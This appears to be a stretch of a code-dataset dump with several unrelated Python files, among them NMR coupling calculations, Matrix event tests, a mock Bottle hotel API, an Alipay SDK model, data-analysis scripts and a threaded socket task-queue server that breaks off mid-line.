np.dot(saupe_temp, rmatrix) \n sxx = saupe_matrix[0,0]\n syy = saupe_matrix[1,1]\n sxy = saupe_matrix[0,1]\n sxz = saupe_matrix[0,2]\n syz = saupe_matrix[1,2]\n \n return sxx, syy, sxy, sxz, syz\n\n def back_calculate_rdcs(self):\n \"\"\"Back-calculate the expected RDCs.\"\"\"\n dx, dy, dz = self.get_coords()\n sxx, syy, sxy, sxz, syz = self.do_matrix_operations()\n dmax = self.dmax\n \n rdc_list = []\n for i in range(len(dx)):\n r = sqrt(dx[i] * dx[i] + dy[i] * dy[i] + dz[i] * dz[i]) \n sc1 = np.array((dx[i] * dx[i] - dz[i] * dz[i]) * dmax / r**5)\n sc2 = np.array((dy[i] * dy[i] - dz[i] * dz[i]) * dmax / r**5)\n sc3 = np.array((2 * dx[i] * dy[i]) * dmax / r**5)\n sc4 = np.array((2 * dx[i] * dz[i]) * dmax / r**5)\n sc5 = np.array((2 * dy[i] * dz[i]) * dmax / r**5)\n \n rdc = (sxx*sc1) + (syy*sc2) + (sxy*sc3) + (sxz*sc4) + (syz*sc5)\n rdc_list.append(rdc)\n rdcs = np.array(rdc_list)\n np.savetxt(\"calc_rdcs.csv\", rdcs)\n return rdcs\n \nif __name__ == \"__main__\": \n x = ResidualDipolarCouplings([-0.000240977,-0.000429318,0.000670295], [36.9364,139.182,-118.931], u'apo_phage.txt', u'h.txt', u'n.txt', 21700)\n x.get_exp_rdcs()\n x.get_coords()\n x.do_matrix_operations()\n x.back_calculate_rdcs()\n\n","sub_path":"calc_rdc_dmax1_diag.py","file_name":"calc_rdc_dmax1_diag.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"11894148","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport json\nimport pdb\n\nfrom nio.events import (BadEvent, OlmEvent, PowerLevelsEvent, RedactedEvent,\n RedactionEvent, RoomAliasEvent, RoomCreateEvent,\n RoomGuestAccessEvent, RoomHistoryVisibilityEvent,\n RoomJoinRulesEvent, RoomMemberEvent, RoomMessageEmote,\n RoomMessageNotice, RoomMessageText, RoomNameEvent,\n RoomTopicEvent, ToDeviceEvent, UnknownBadEvent)\n\n\nclass TestClass(object):\n @staticmethod\n def _load_response(filename):\n # type: (str) -> Dict[Any, Any]\n with open(filename) as f:\n return json.loads(f.read(), encoding=\"utf-8\")\n\n def test_redacted_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/redacted.json\")\n response = RedactedEvent.from_dict(parsed_dict)\n assert isinstance(response, RedactedEvent)\n\n def test_malformed_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/redacted_invalid.json\")\n response = RedactedEvent.from_dict(parsed_dict)\n assert isinstance(response, BadEvent)\n\n def test_create_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/create.json\")\n event = RoomCreateEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomCreateEvent)\n\n def test_guest_access_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/guest_access.json\")\n event = RoomGuestAccessEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomGuestAccessEvent)\n\n def test_join_rules_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/join_rules.json\")\n event = RoomJoinRulesEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomJoinRulesEvent)\n\n def test_history_visibility_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/history_visibility.json\")\n event = RoomHistoryVisibilityEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomHistoryVisibilityEvent)\n\n def test_topic_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/topic.json\")\n event = RoomTopicEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomTopicEvent)\n\n def test_name_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/name.json\")\n event = RoomNameEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomNameEvent)\n\n def test_alias_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/alias.json\")\n event = RoomAliasEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomAliasEvent)\n\n def test_message_text(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/message_text.json\")\n event = RoomMessageText.from_dict(parsed_dict)\n assert isinstance(event, RoomMessageText)\n\n def test_message_emote(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/message_emote.json\")\n event = RoomMessageEmote.from_dict(parsed_dict)\n assert isinstance(event, RoomMessageEmote)\n\n def test_message_notice(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/message_notice.json\")\n event = RoomMessageNotice.from_dict(parsed_dict)\n assert isinstance(event, RoomMessageNotice)\n\n def test_power_levels(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/power_levels.json\")\n event = PowerLevelsEvent.from_dict(parsed_dict)\n assert isinstance(event, PowerLevelsEvent)\n\n def test_membership(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/member.json\")\n event = RoomMemberEvent.from_dict(parsed_dict)\n assert isinstance(event, RoomMemberEvent)\n\n def test_redaction(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/redaction.json\")\n event = RedactionEvent.from_dict(parsed_dict)\n assert isinstance(event, RedactionEvent)\n\n def test_olm_event(self):\n parsed_dict = TestClass._load_response(\n \"tests/data/events/olm_event.json\")\n event = ToDeviceEvent.parse_event(parsed_dict)\n assert isinstance(event, OlmEvent)\n\n def test_empty_event(self):\n parsed_dict = {}\n response = RedactedEvent.from_dict(parsed_dict)\n assert isinstance(response, UnknownBadEvent)\n","sub_path":"tests/event_test.py","file_name":"event_test.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"534006226","text":"import struct\n\ndef collider(packet):\n\tpull = 8\n\t(type, size, custom) = struct.unpack(\"!HHL\", packet[:pull])\n\tmolecules = [\"\"]\n\twhile pull < len(packet):\n\t\t(data, left, right) = struct.unpack(\"!LHH\", packet[pull:pull+8])\n\t\tmolecules.append((left, right, data))\n\t\tpull += 8\n\t\n\tret_list = generate_mols(molecules)\n\tif ret_list == 0:\n\t\tret_list = generate_trash(molecules)\n\t\tret_list[0] = 1\n\tprint(ret_list)\n\treturn ret_list\n\n\ndef generate_trash(molecules):\n\tret_list = []\n\tfor mol in molecules:\n\t\tret_list.append(mol)\n\treturn ret_list\n\n\ndef rip(md, a):\n\ti = 1\n\twhile True:\n\t\tif i > len(a) - 1:\n\t\t\treturn\n\t\tif i not in md.keys():\n\t\t\tif a[i][0] in md.keys():\n\t\t\t\tmd[i] = (a[i][0], a[i][1])\n\t\t\ti += 1\n\t\t\tcontinue\n\t\tif md[i][0] not in md.keys():\n\t\t\ttry:\n\t\t\t\tmd[md[i][0]] = (a[md[i][0]][0], a[md[i][0]][1])\n\t\t\texcept:\n\t\t\t\tpass\n\t\tif md[i][1] not in md.keys():\n\t\t\ttry:\n\t\t\t\tmd[md[i][1]] = (a[md[i][1]][0], a[md[i][1]][1])\n\t\t\texcept:\n\t\t\t\tpass\n\t\ti += 1\n\n\ndef generate_mols(molecules):\n\tm_list = []\n\twhile True:\n\t\tx = 1\n\t\tmd = {}\n\t\twhile True:\n\t\t\tif x in m_list:\n\t\t\t\tx += 1\n\t\t\t\tcontinue\n\t\t\telif x + 1 > len(molecules):\n\t\t\t\tbreak\n\t\t\tif molecules[x][0] or molecules[x][1]:\n\t\t\t\tmd[x] = (molecules[x][0], molecules[x][1])\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tx += 1\n\t\trip(md, molecules)\n\t\tfor i in md:\n\t\t\tm_list.append(i)\n\t\tm_list.append(\"\")\n\t\tif x + 1 > len(molecules):\n\t\t\tbreak\n\tret_list = []\n\ti_list = [(0,0,0) for x in range(len(molecules))]\n\tadded = 0\n\tfor i in m_list:\n\t\tif i:\n\t\t\tadded = 1\n\t\t\ti_list[i] = molecules[i]\n\t\t\tif molecules[i][0] > len(molecules)-1 or molecules[i][1] > len(molecules)-1:\n\t\t\t\treturn 0\n\t\telse:\n\t\t\tif added:\n\t\t\t\tret_list.append(i_list)\n\t\t\t\tadded = 0\n\t\t\ti_list = [(0,0,0) for x in range(len(molecules))]\n\treturn ret_list\n\n","sub_path":"molecular_separation.py","file_name":"molecular_separation.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212739086","text":"#coding:utf-8\n\"\"\"xueshandai URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib.auth import views\n\nurlpatterns = [\n url(r'auth/$','account.views.auth',name='auth'),\n url(r'account/$','account.views.account',name='account'),\n #url(r'center/$','account.views.view_1',name='test'),\n url(r'show_req/$','account.views.show_req',name='show_req'),\n url(r'register/$','account.views.register',name='register'),\n url(r'logout/$',views.logout,{'next_page':'/'},name='logout'),\n]\n","sub_path":"account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"617132193","text":"import cv2\nimport numpy as np\nimport imutils\nimport argparse\nimport math\nimport time\n\ndef get_red(frame):\n frame = cv2.flip(frame, 0)\n frame_new = cv2.GaussianBlur(frame, (5, 5), 0)\n #------------------Brightness Normalization----------\n YUV = cv2.cvtColor(frame_new, cv2.COLOR_BGR2YUV)\n Y, U, V = cv2.split(YUV)\n frame_new2 = cv2.equalizeHist(Y)\n frame_new4 = cv2.merge((frame_new2, U, V))\n frame_new3 = cv2.cvtColor(frame_new4, cv2.COLOR_YUV2BGR)\n #--------------------\n hsv = cv2.cvtColor(frame_new3, cv2.COLOR_BGR2HSV)\n colorLower = (0, 120, 170)\n colorUpper = (10, 255, 255)\n colorLower2 = (170, 120, 150)\n colorUpper2 = (180, 255, 255)\n\n mask = cv2.inRange(hsv, colorLower, colorUpper)\n mask2 = cv2.inRange(hsv, colorLower2, colorUpper2)\n mask_final = mask + mask2\n kernel = np.ones((3,3),np.uint8)\n eroded = cv2.erode(mask_final, kernel, iterations=0)\n #dilated = cv2.dilate(mask_final, kernel, iterations=3)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cnts = cv2.findContours(eroded.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n values = [(0, 0), (0, 0), (0, 0), (0, 0), (0, 0), 0]\n if len(cnts) > 0:\n c = max(cnts, key=cv2.contourArea)\n area = cv2.contourArea(c)\n #print(area)\n if(area > 20):\n ((x, y), radius) = cv2.minEnclosingCircle(c)\n x2, y2, w, h = cv2.boundingRect(c)\n cv2.rectangle(frame_new3, (x2, y2), (x2+w, y2+h), (0, 255, 0), 2)\n cv2.circle(frame_new3, (int(x), int(y)), int(radius), (255, 255, 255), 5, 2)\n values = [(x2, y2), (x2+w,y2), (x2,y2+h), (x2+w,y2+h), (int(x),int(y)), int(radius)]\n #print(values)\n else:\n values = [(0, 0), (0, 0), (0, 0), (0, 0), (0, 0), 0]\n cv2.putText(frame_new3,str(values),(10,30), font, 0.5,(255,255,255),2,cv2.LINE_AA)\n cv2.imshow(\"Result\", frame_new3)\n return values","sub_path":"Code/CV/Find_Red.py","file_name":"Find_Red.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"586612651","text":"from sympy import *\nfrom sympy import Symbol, exp, I\nfrom sympy.functions import Abs\nfrom sympy import oo\n\n#symbols for sympy\nx = Symbol('x')\ny = Symbol('y')\nz = Symbol('z')\n\n#an is for real part of zn, bn is imaginary part of zn\na1 = Symbol('a1')\nb1 = Symbol('b1')\na2 = Symbol('a2')\nb2 = Symbol('b2')\n\ndef sind(angleD):\n angleR = angleD*(pi/180)\n x = sin(angleR)\n return x\n\ndef cosd(angleD):\n angleR = angleD*(pi/180)\n x = cos(angleR)\n return x\n\ndef tand(angleD):\n angleR = angleD*(pi/180)\n x = tan(angleR)\n return x\n\ndef asind(x):\n angleR = asin(x)\n angleD = angleR*(180/pi)\n return angleD\n\ndef acosd(x):\n angleR = acos(x)\n angleD = angleR*(180/pi)\n return angleD\n \ndef atand(x):\n angleR = atan(x)\n angleD = angleR*(180/pi)\n return angleD\n\n","sub_path":"mathsub/sympy_common.py","file_name":"sympy_common.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553147533","text":"from bottle import abort, get, post, request, run, template\nimport json\nimport os\n\n##\n## mock data\n##\ndef mock_hotel(id=0, expand=False):\n\thotel = dict(\n\t\tid=id,\n\t\tname=\"Mock Hotel\",\n\t\timage_url='http://www.wyndham.com/property/GLSHG/Images/18122_x1.jpg'\n\t)\n\tif expand:\n\t\tdetails = dict(\n\t\t\tstars=3,\n\t\t\tzip_code='94043',\n\t\t\treviews = [],\n\t\t\twifi=False\n\t\t)\n\t\thotel = dict(hotel.items() + details.items())\n\treturn hotel\n\ndef mock_stay(expand=False):\n\tstay = dict(\n\t\thotel=mock_hotel(expand=expand),\n\t\tstartDate=0,\n\t\tendDate=1,\n\t\tsuggestedBid=100,\n\t\tbuyNowPrice=120,\n\t)\n\treturn stay\n\n##\n## Hotels\n##\n@get('/hotels/')\ndef hotel(id):\n\thotel = mock_hotel(id=id)\n\treturn json.dumps(hotel)\n\n##\n## Stays\n##\n@get('/stays')\ndef stays():\n\t## Process query args\n\tlocation = request.query.get('location', None)\n\tif not location:\n\t\tabort(404, \"No location specified\")\n\tstart_date = request.query.get('start_date', 0)\n\tend_date = request.query.get('end_date', 1)\n\texpand = request.query.get('expand', False)\n\t\n\t\n\t## In a real app, we'd process more args and search for stays. Here, we just mock a response\n\n\tstays = [\n\t\t\tmock_stay(expand=expand)\n\t\t]\n\treturn json.dumps(stays)\n\n##\n## Bidding and Buying\n##\n@post('/offer/')\ndef offer(stay_id):\n\tresponse = dict(\n\t\tsuccess = True\n\t)\n\treturn json.dumps(response)\n\n@post('/buy/')\ndef buy(stay_id):\n\tresponse = dict(\n\t\tsuccess = True\n\t)\n\treturn json.dumps(response)\n\n@post('/accept/')\ndef accept(counter_offer_id):\n\tresponse = dict(\n\t\tsuccess = True\n\t)\n\treturn json.dumps(response)\n\n@post('/decline/')\ndef decline(counter_offer_id):\n\tresponse = dict(\n\t\tsuccess = True\n\t)\n\treturn json.dumps(response)\n\n## Dev\n#run(host='localhost', port=8080, reloader=True)\n\n## Prod\nrun(host=\"0.0.0.0\", port=int(os.environ.get(\"PORT\", 5000)))\n","sub_path":"stayful.py","file_name":"stayful.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"588247482","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass AlipaySocialBaseChatNewmsgSendModel(object):\n\n def __init__(self):\n self._biz_memo = None\n self._biz_type = None\n self._client_msg_id = None\n self._hidden_side = None\n self._link = None\n self._msg_op_type = None\n self._push_str = None\n self._receiver_id = None\n self._template_code = None\n self._template_data = None\n\n @property\n def biz_memo(self):\n return self._biz_memo\n\n @biz_memo.setter\n def biz_memo(self, value):\n self._biz_memo = value\n @property\n def biz_type(self):\n return self._biz_type\n\n @biz_type.setter\n def biz_type(self, value):\n self._biz_type = value\n @property\n def client_msg_id(self):\n return self._client_msg_id\n\n @client_msg_id.setter\n def client_msg_id(self, value):\n self._client_msg_id = value\n @property\n def hidden_side(self):\n return self._hidden_side\n\n @hidden_side.setter\n def hidden_side(self, value):\n self._hidden_side = value\n @property\n def link(self):\n return self._link\n\n @link.setter\n def link(self, value):\n self._link = value\n @property\n def msg_op_type(self):\n return self._msg_op_type\n\n @msg_op_type.setter\n def msg_op_type(self, value):\n self._msg_op_type = value\n @property\n def push_str(self):\n return self._push_str\n\n @push_str.setter\n def push_str(self, value):\n self._push_str = value\n @property\n def receiver_id(self):\n return self._receiver_id\n\n @receiver_id.setter\n def receiver_id(self, value):\n self._receiver_id = value\n @property\n def template_code(self):\n return self._template_code\n\n @template_code.setter\n def template_code(self, value):\n self._template_code = value\n @property\n def template_data(self):\n return self._template_data\n\n @template_data.setter\n def template_data(self, value):\n self._template_data = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.biz_memo:\n if hasattr(self.biz_memo, 'to_alipay_dict'):\n params['biz_memo'] = self.biz_memo.to_alipay_dict()\n else:\n params['biz_memo'] = self.biz_memo\n if self.biz_type:\n if hasattr(self.biz_type, 'to_alipay_dict'):\n params['biz_type'] = self.biz_type.to_alipay_dict()\n else:\n params['biz_type'] = self.biz_type\n if self.client_msg_id:\n if hasattr(self.client_msg_id, 'to_alipay_dict'):\n params['client_msg_id'] = self.client_msg_id.to_alipay_dict()\n else:\n params['client_msg_id'] = self.client_msg_id\n if self.hidden_side:\n if hasattr(self.hidden_side, 'to_alipay_dict'):\n params['hidden_side'] = self.hidden_side.to_alipay_dict()\n else:\n params['hidden_side'] = self.hidden_side\n if self.link:\n if hasattr(self.link, 'to_alipay_dict'):\n params['link'] = self.link.to_alipay_dict()\n else:\n params['link'] = self.link\n if self.msg_op_type:\n if hasattr(self.msg_op_type, 'to_alipay_dict'):\n params['msg_op_type'] = self.msg_op_type.to_alipay_dict()\n else:\n params['msg_op_type'] = self.msg_op_type\n if self.push_str:\n if hasattr(self.push_str, 'to_alipay_dict'):\n params['push_str'] = self.push_str.to_alipay_dict()\n else:\n params['push_str'] = self.push_str\n if self.receiver_id:\n if hasattr(self.receiver_id, 'to_alipay_dict'):\n params['receiver_id'] = self.receiver_id.to_alipay_dict()\n else:\n params['receiver_id'] = self.receiver_id\n if self.template_code:\n if hasattr(self.template_code, 'to_alipay_dict'):\n params['template_code'] = self.template_code.to_alipay_dict()\n else:\n params['template_code'] = self.template_code\n if self.template_data:\n if hasattr(self.template_data, 'to_alipay_dict'):\n params['template_data'] = self.template_data.to_alipay_dict()\n else:\n params['template_data'] = self.template_data\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = AlipaySocialBaseChatNewmsgSendModel()\n if 'biz_memo' in d:\n o.biz_memo = d['biz_memo']\n if 'biz_type' in d:\n o.biz_type = d['biz_type']\n if 'client_msg_id' in d:\n o.client_msg_id = d['client_msg_id']\n if 'hidden_side' in d:\n o.hidden_side = d['hidden_side']\n if 'link' in d:\n o.link = d['link']\n if 'msg_op_type' in d:\n o.msg_op_type = d['msg_op_type']\n if 'push_str' in d:\n o.push_str = d['push_str']\n if 'receiver_id' in d:\n o.receiver_id = d['receiver_id']\n if 'template_code' in d:\n o.template_code = d['template_code']\n if 'template_data' in d:\n o.template_data = d['template_data']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/AlipaySocialBaseChatNewmsgSendModel.py","file_name":"AlipaySocialBaseChatNewmsgSendModel.py","file_ext":"py","file_size_in_byte":5418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399130758","text":"\r\nimport pandas as pd\r\n\r\n\r\ndf = pd.read_csv('rainfall.csv',delimiter=',')\r\n\r\ncolumns = df.columns\r\n\r\nx = df[columns[2:len(columns)-1]].values\r\ny = df[columns[len(columns)-1]].values\r\n\r\n\r\n\r\nfrom sklearn import model_selection\r\nfrom sklearn.linear_model import LinearRegression\r\n\r\nxtrain , xtest , ytrain , ytest = model_selection.train_test_split(x,y,random_state=0)\r\n\r\nalg = LinearRegression()\r\n\r\nalg.fit(xtrain,ytrain)\r\n\r\nypred = alg.predict(xtest)\r\n\r\n# find the score of the algorithm\r\n\r\nscore = alg.score(xtest,ypred)\r\nprint('score : ', score)\r\n\r\n\r\nprint('M value : ',alg.coef_)\r\nprint('C value : ',alg.intercept_)\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nm = alg.coef_[0]\r\nc = alg.intercept_\r\n\r\nx = np.arange(1,100,.1)\r\n\r\ny = m*x + c\r\n\r\n# plt.plot(x,y, color ='g',label = 'best line found by algo to predict future',linewidth = 9)\r\n\r\n\r\nplt.plot(xtrain,ytrain, color ='r',label = 'linear function learnt by algo')\r\n\r\nplt.title('x == y')\r\nplt.ylabel('Y axis')\r\nplt.xlabel('X axis')\r\nplt.legend()\r\n\r\nplt.show()\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nplt.plot(xtest,ypred, color ='g',label = 'Prediction',linewidth = 9)\r\n\r\n\r\nplt.plot(xtest,ytest, color ='r',label = 'Test')\r\n\r\nplt.title('x == y')\r\nplt.ylabel('Y axis')\r\nplt.xlabel('X axis')\r\nplt.legend()\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n","sub_path":"rainfall.py","file_name":"rainfall.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628884974","text":"'''\n--- Day 2: I Was Told There Would Be No Math ---\n\nThe elves are running low on wrapping paper, and so they need to submit an order for more. They have a list of the dimensions (length l, width w, and height h) of each present, and only want to order exactly as much as they need.\n\nFortunately, every present is a box (a perfect right rectangular prism), which makes calculating the required wrapping paper for each gift a little easier: find the surface area of the box, which is 2*l*w + 2*w*h + 2*h*l. The elves also need a little extra paper for each present: the area of the smallest side.\n\nFor example:\n\nA present with dimensions 2x3x4 requires 2*6 + 2*12 + 2*8 = 52 square feet of wrapping paper plus 6 square feet of slack, for a total of 58 square feet.\nA present with dimensions 1x1x10 requires 2*1 + 2*10 + 2*10 = 42 square feet of wrapping paper plus 1 square foot of slack, for a total of 43 square feet.\nAll numbers in the elves' list are in feet. How many total square feet of wrapping paper should they order?\n\n'''\n\nFILE = 'input.txt'\n\ndef load(file_location):\n\t'''\n\n\t:param file_name: string with file location\n\t:return: list of present sizes\n\t'''\n\t# Opens the input file and loads it in memory\n\twith open(file_location) as f:\n\t\tinput = f.readlines()\n\n\tpresent_list = []\n\tfor line in input:\n\t\tpresent = [int(s) for s in line.rstrip().split(sep='x') if s.isdigit()]\n\t\tpresent.sort()\n\t\tpresent_list.append(present)\n\n\treturn present_list\n\ndef measure_paper(present):\n\t'''\n\n\t:param present: tuple with present dimension e.g. (1,1,1)\n\t:return: amount of paper needed\n\t'''\n\n\tl = present[0]\n\tw = present[1]\n\th = present[2]\n\n\t# Note: I have made sure the dimensions are ordered so I don't have to find the\n\t# smallest face\n\t# area = 2 * (l * w + l * h + w * h )\n\t# swag = l * w\n\tpaper = 3*l*w + 2*(l*h + w*h)\n\n\treturn paper\n\n\nif __name__ == '__main__':\n\n\n\t# # Opens the input file and loads it in memory\n\t# with open('input.txt') as f:\n\t# \tinput = f.readlines()\n\t#\n\t# present_list = []\n\t# for line in input:\n\t# \tpresent = [int(s) for s in line.rstrip().split(sep='x') if s.isdigit()]\n\t# \tpresent_list.append(present)\n\n\tpresent_list = load(FILE)\n\n\ttotal_paper = sum([ measure_paper(present) for present in present_list])\n\n\tprint('The elves will need {} m2 of paper'.format(total_paper))\n\n\n\n","sub_path":"2015/Day02/day02-1.py","file_name":"day02-1.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"151884381","text":"from typing import Sequence\n\nimport pytest\n\nfrom homework1.task2 import check_fibonacci\n\n\n@pytest.mark.parametrize(\n [\"value\", \"expected_result\"],\n [\n ([0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55], True),\n ([1, 1, 2, 3, 5, 8, 13, 21, 34, 55], True),\n ([0, 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55], False),\n ([54, 35, 67, 70], False),\n ([89, 144, 233, 377, 610, 987], False),\n ([0, 0, 0, 0, 0, 0], False),\n ([2, 5], False),\n ([0, 1], False),\n ([1, 1], False),\n ([0, 1, 1], True),\n ([1, 1, 2], True),\n ([0, 1, 2], False),\n ([1, 1, 3], False),\n ([5, 6, 3], False),\n ],\n)\ndef test_check_fibonacci(value: Sequence[int], expected_result: bool):\n actual_result = check_fibonacci(value)\n\n assert actual_result == expected_result\n","sub_path":"Homework/homework1/test_task2.py","file_name":"test_task2.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"489207357","text":"import pandas as pd\n\ndef faster_OBV(data):\n close, volume = data['Close'], data['Volume']\n # obv 값이 저장될 리스트를 생성합니다.\n obv_value = [None] * len(close)\n obv_value[0] = volume.iloc[0]\n # 마지막에 사용할 인덱스를 저장해 둡니다.\n index = close.index\n\n # 연산에서 사용하기 위해 리스트 형태로 바꾸어 줍니다.\n close = list(close)\n volume = list(volume)\n \n # OBV 산출공식을 구현\n for i in range(1,len(close)):\n \n if close[i] > close[i-1] : \n obv_value[i] = obv_value[i-1] + volume[i]\n \n elif close[i] < close[i-1] :\n obv_value[i] = obv_value[i-1] - volume[i]\n \n else:\n obv_value[i] = obv_value[i-1]\n \n # 계산된 리스트 결과물을 마지막에 Series 구조로 변환해 줍니다.\n obv = pd.Series(obv_value, index=index)\n data['OBV'] = obv\n return data","sub_path":"src/RL/Indicator/get_OBV.py","file_name":"get_OBV.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"374799902","text":"import argparse\nimport socket\nimport time\nfrom signal import SIGINT, SIGTERM\nfrom signal import signal, getsignal\nfrom sys import exit\nfrom threading import Thread\nfrom threading import enumerate as thread_enum\n\nclass TaskQueue:\n def __init__(self): \n self._task_id = 1\n self._queue_list = dict()\n # ['1'] = [, , , ]\n\n def get_new_task_id(self):\n id = self._task_id + 1\n self._task_id = id\n return self._task_id\n\n def add_to_queue(self, qname, qlen, qdata):\n t = dict() \n if qname in self._queue_list:\n t = self._queue_list[qname] \n d = dict()\n d['length'] = qlen\n d['data'] = qdata \n d['state'] = 'waiting' \n id = self.get_new_task_id()\n t[id] = d\n self._queue_list[qname] = t\n return id\n\n\n def get_queue(self, qname):\n q = self._queue_list[qname]\n t = None\n if len(q) > 0:\n for k, v in q.items():\n if v['state'] == \"waiting\":\n q[k]['state'] = 'processing'\n t = q[k]\n return str(k), str(t['length']), str(t['data'])\n return None, None, None\n\n def ack_task(self, qname, taskid):\n if qname in self._queue_list:\n q = self._queue_list[qname] \n if taskid in q:\n del q[taskid]\n return \"YES\"\n return \"NO\"\n\n def check_task(self, qname, taskid):\n if qname in self._queue_list:\n q = self._queue_list[qname] \n if taskid in q:\n return \"YES\"\n return \"NO\"\n\n def save_state():\n pass\n\n def print(self):\n print(self._queue_list)\n\n\nclass TaskQueueServer:\n\n def __init__(self, ip, port, path, timeout):\n #configuration\n self._connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._ip = ip\n self._port = port\n self._path = path\n self._timeout = timeout\n self._connection_count = 2\n\n self._task_queue = TaskQueue()\n\n def client_thread(self, conn, addr, tq): \n while True:\n data = conn.recv(2048)\n if data == b'quit\\n' or data == b'stop\\n': \n print(data)\n conn.shutdown(1)\n conn.close()\n break\n \n if data[:3] == b'ADD':\n cmd, qname, qlen, qdata = data.split()\n print(f'RCV: {cmd.decode()} {qname.decode()} {qlen.decode()} {qdata.decode()}')\n id = str(tq.add_to_queue(qname.decode(), qlen.decode(), qdata.decode()))\n print(f'SND: {id}')\n conn.sendall(id.encode())\n\n elif data[:3] == b'GET':\n cmd, qname = data.split()\n print(f'RCV: {cmd.decode()} {qname.decode()}')\n id, qlen, qdata = tq.get_queue(qname.decode())\n s = \"NONE\"\n if id is not None:\n s = \"{} {} {}\".format(id, qlen, qdata)\n print(f'SND: {s}')\n conn.sendall(s.encode())\n\n elif data[:2] == b'IN':\n cmd, qname, taskid = data.split()\n print(f'RCV: {cmd.decode()} {qname.decode()} {taskid.decode()}')\n s = tq.check_task(qname.decode(), int(taskid.decode()))\n print(f'SND: {s}')\n conn.sendall(s.encode())\n\n elif data[:3] == b'ACK':\n cmd, qname, taskid = data.split()\n print(f'RCV: {cmd.decode()} {qname.decode()} {taskid.decode()}') \n s = tq.ack_task(qname.decode(), int(taskid.decode()))\n print(f'SND: {s}')\n conn.sendall(s.encode())\n\n elif data[:4] == b'SAVE':\n print()\n tq.print()\n print(\"stop thread\")\n\n\n\n def run(self):\n print(\"Server start\")\n self._connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self._connection.bind((self._ip, self._port))\n self._connection.listen(self._connection_count) \n self._connection.settimeout(1.0) \n new_connections = []\n thread_list = []\n\n print(\"run loop\")\n current_connection = None\n while True:\n try: \n current_connection, address = self._connection.accept()\n except socket.timeout:\n pass\n #except (KeyboardInterrupt, InterruptedError):\n # print(\"exception\")\n # self._connection.close()\n # break\n if current_connection or current_connection is not None:\n try:\n if current_connection not in new_connections:\n new_connections.append(current_connection) \n print(\"accept: \", address)\n t = Thread(target=self.client_thread, 